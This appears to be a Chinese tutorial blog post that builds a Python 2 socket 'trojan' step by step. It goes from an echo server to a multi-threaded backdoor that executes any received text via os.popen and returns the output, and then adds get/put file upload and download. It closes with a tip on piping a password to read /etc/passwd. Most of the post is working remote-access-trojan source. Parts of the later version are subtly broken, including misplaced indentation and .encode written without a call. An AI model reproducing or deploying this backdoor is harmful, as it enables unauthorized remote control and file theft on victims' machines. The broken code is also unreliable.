需求:

基础的套接字木马,可以实现远程命令执行,并且返回结果

流程:

客户端socket编程的基本流程:

  1. 创建套接字
  2. 连接服务端
  3. 发送数据
  4. 接收数据
  5. 关闭连接

服务端 beta

#!/usr/bin/env python
# coding=utf-8
import socket

host='' #定义一个socket服务端运行的IP,如果不给默认是运行socket服务器上主机任意的IP地址。
port=18000  #定义的socket服务端的端口号。

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#socket.AF_INET  服务器之间网络通信
#socket.SOCK_STREAM 流式socket,TCP进行通信的
#socket.SOCK_DGRAM  数据报式socket,UDP进行通信的
s.bind((host,port)) #将socket绑定上到地址和端口上。
s.listen(2) #开始监听传入连接。(2代表可以监听2个链接)

conn,addr=s.accept()    #从socket客户端接收数据 addr代表的是客户端的IP

print'got connection from:',addr

while 1:    #while 1循环
    data=conn.recv(4096)    #从客户端接收数据一次性接收4k
    if not data:break   #如果data数据接收完了,就跳出这个死循环
    conn.sendall(data)  #向客户端发送从客户端传过来的数据。

conn.close()    #关socket链接

客户端 beta

#!/usr/bin/env python
# coding=utf-8
import socket    #导入socket模块
h='192.168.108.130'  #定义socket服务器的IP
p=18000           #定义的socket服务器的端口号
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((h,p))   #链接socket服务器的IP和端口号
s.send("hello my name is daiv")  #向服务端发送数据。
received_data = s.recv(1024)   #接收来从于SOCKET服务器发给本客户端的数据
s.close()  #关于socket链接
print "received from server:",received_data  #打印从服务端接收过来的数据

测试:

先运行服务端后再开启客户端。

服务端

image-20200609150905090

客户端

image-20200609150925920

这里已经实现了基础的socket连接了。我们接下来再加亿点点细节。

服务端 V1

#!/usr/bin/env python
# -- coding: utf-8 --
import socket
import time
import os
import sys
from thread import *

#创建一个套接字对象
#把socket绑定到本机的IP和端口上
host=''
port=18000#连接端口
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建的是TCP Socket

print 'Socket created'

try:
    s.bind((host, port))
except socket.error , msg:
    print '绑定失败。 Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()

print '绑定成功'

s.listen(2)#进入监听状态,listen方法接收一个参数,用来指定可以同时挂起的连接数。
print '监听开始'

def clientthread(conn):
    #infinite loop so that function do not terminate and thread do not end.
    while True:
        
        #Receiving from client
        data=conn.recv(4096)#使用conn对象来接收和发送数据
	print 'get from client data:',data
        if not data:
            break

	cmd=os.popen(data)
	result=cmd.read()
	conn.sendall(result)


    #came out of loop
    conn.close()

#将接收客户端连接的代码放到一个while true循环里,这样就可以不停的接收连接。
while 1:
	conn,addr=s.accept()#使用accept方法接收连接
	print 'Connected with ' + addr[0] + ':' + str(addr[1])
	start_new_thread(clientthread ,(conn,))

conn.close()#关闭连接也使用conn对象

image-20200609163752241

客户端 V1

#!/user/bin/env python 
# -- coding: utf-8 --

import socket
from time import sleep
import sys

try:
	h='192.168.108.130'
	p=18000
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建一个TCP socket连接
	s.connect((h,p))#socket.connect方法连接服务端
except socket.error, msg:
    print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
    sys.exit();

print 'Socket Created'

while 1:
	INPUT=raw_input("please input an command:")	
	s.send(INPUT)
	received_data = s.recv(1024)
	sleep(1)
	print "received from server:",received_data

s.close()

实现了多线程的交互,可以1个服务端,多个控制端。如果要增加控制端数量可以修改socket监听s.listen(2)

image-20200609163823095

image-20200609163838751

服务端 V1.2

#!/usr/bin/env python
# -- coding: utf-8 --
import socket
import subprocess
import time
import os
import sys
from thread import *

#创建一个套接字对象
#把socket绑定到本机的IP和端口上
host=''
port=18000#连接端口
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建的是TCP Socket
buffersize=10240 

print 'Socket created'

try:
    s.bind((host, port))
except socket.error , msg:
    print '绑定失败。 Error Code : ' + str(msg[0]) + ' .Message ' + msg[1]
    sys.exit()

print '绑定成功'

s.listen(2)#进入监听状态,listen方法接收一个参数,用来指定可以同时挂起的连接数。
print '监听开始'

def clientthread(conn):
    #infinite loop so that function do not terminate and thread do not end.
    while True:
        
        #Receiving from client
        data=conn.recv(4096)#使用conn对象来接收和发送数据
	print 'get from client data:',data
        #reply = 'OK...' + data
        if not data:
            break
    
    try:
        message=data.decode('utf-8')
        if os.path.isfile(message[4:]):
            #print('is file mingling')
            
            if message.find('get')>-1:
                #print('dowload file')

                filesize = str(os.path.getsize((message[4:])))
                #print('file size:',filesize)
                conn.send((' get ' + str(filesize)).encode())# send file size
                conn.recv(1024)# send 
                f = open(message[4:],'rb')
                for line in f:
                    conn.send(line) #information
                f.close
                #print('end')

            if message.find('put')>-1:
                #print('upload fiel')
                conn.send(b'put')

                f_total_size=int (conn.recv(buffersize).decode())

                f_size=0
                #print('upload file's size:'+str(f_total_size))
                conn.send(b'File size received')
                f = open('new'+os.path.split(message[4:])[-1],'wb')
                while f_size < int(f_total_size):
                    data=conn.recv(buffersize)
                    f.write(data)
                    f_size += len(data)
                f.close
                print('end')

            else:
                if message.find('get')>-1 or message.find('put')>-1:
                    conn.send(b'error')

                else:
                    cmd=os.popen(data)
                    result=cmd.read()
                    conn.sendall('0001'+str(result).encode)
                    conn.recv(1024)
                    conn.send(data.encode)
        return True
    except socket.error as e:
        sys.exit()

	#cmd=os.popen(data)
	#result=cmd.read()
	#conn.sendall(result)


    #came out of loop
    conn.close()

#将接收客户端连接的代码放到一个while true循环里,这样就可以不停的接收连接。
while 1:
	conn,addr=s.accept()#使用accept方法接收连接
	print 'Connected with ' + addr[0] + ':' + str(addr[1])
	start_new_thread(clientthread ,(conn,))

conn.close()#关闭连接也使用conn对象

客户端 V1.2

#!/user/bin/env python 
# -- coding: utf-8 --

import socket
from time import sleep
import os
import re
import sys

buffersize=10240
try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建一个TCP socket连接
except socket.error, msg:
    print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
    sys.exit();

try:
	h='192.168.108.130'
	p=18000

	s.connect((h,p))#socket.connect方法连接服务端
	while True:
		message=raw_input("please input an command:")	
		if not message:
			break
		s.send(message.encode()) #send information
		data=s.recv(buffersize) #receive
		print(data.decode('utf-8'))
		if not data:
			break
		if re.search('0001',data.decode('utf-8','ignore')):

			cmd_size=data.decode()[4:]
			received_data = b' '
			rece_size=0
			#print(cmd_size)
			s.send(b'0001')#hui fu fa song

			while rece_size  < int(cmd_size):
				data=s.recv(buffersize)
				received_data += data
				rece_size ==len(data)
			print(received_data.decode())

		if re.search('get',data.decode('utf-8','ignore')): #下载文件处理

			s.send("File size received".encode()) #回复服务端发送文件
			file_total_size=int(data.decode()[4:])	#总大小
			print('下载文件大小:' +str(file_total_size))
			receivd_size=0
			f=open('new'+os.path.split(message)[-1],'wb') #创建文件
			while receivd_size < file_total_size:
				f_data=s.recv(buffersize)
				f.write(f_data)
				receivd_size += len(f_data)
				#print('Received:',receivd_size)
			f.close()
			print("receive done")

		if re.search('put',data.decode('utf-8','ignore')):	#上传文件
			if os.path.isfile(message[4:]):
				f_size=os.path.getsize(message[4:])

				print('上传文件大小:'+str(f_size))
				s.send(str(f_size).encode())
				s.recv(buffersize)
				#s.recv(10240)
				f = open(message[4:],'rb')
				for line in f:
					s.send(line)
				f.close()
				print('file send done')


		if re.search('error',data.decode('utf-8','ignore')):
			print('文件路径错误请检查:'+message)
except socket.error as e:
	print(e)
	print('远程服务端失去连接')
	s.close
	exit()

s.close()


# print 'Socket Created'

# while 1:
# 	INPUT=raw_input("please input an command:")	
# 	s.send(INPUT)
# 	received_data = s.recv(1024)
# 	sleep(1)
# 	print "received from server:",received_data



需要root权限执行的可以使用管道传输密码

echo “123456”|  cat /etc/passwd

如果没有回显的话客户端会堵塞,可以自己补全报错功能,或者重开一个客户端连接。
增加了putget功能,可以指定完整路径进行传输。文件大小不能超过buffersize,连接数受s.listen(2)限制,可以自己修改,不能保证完整程序鲁棒性。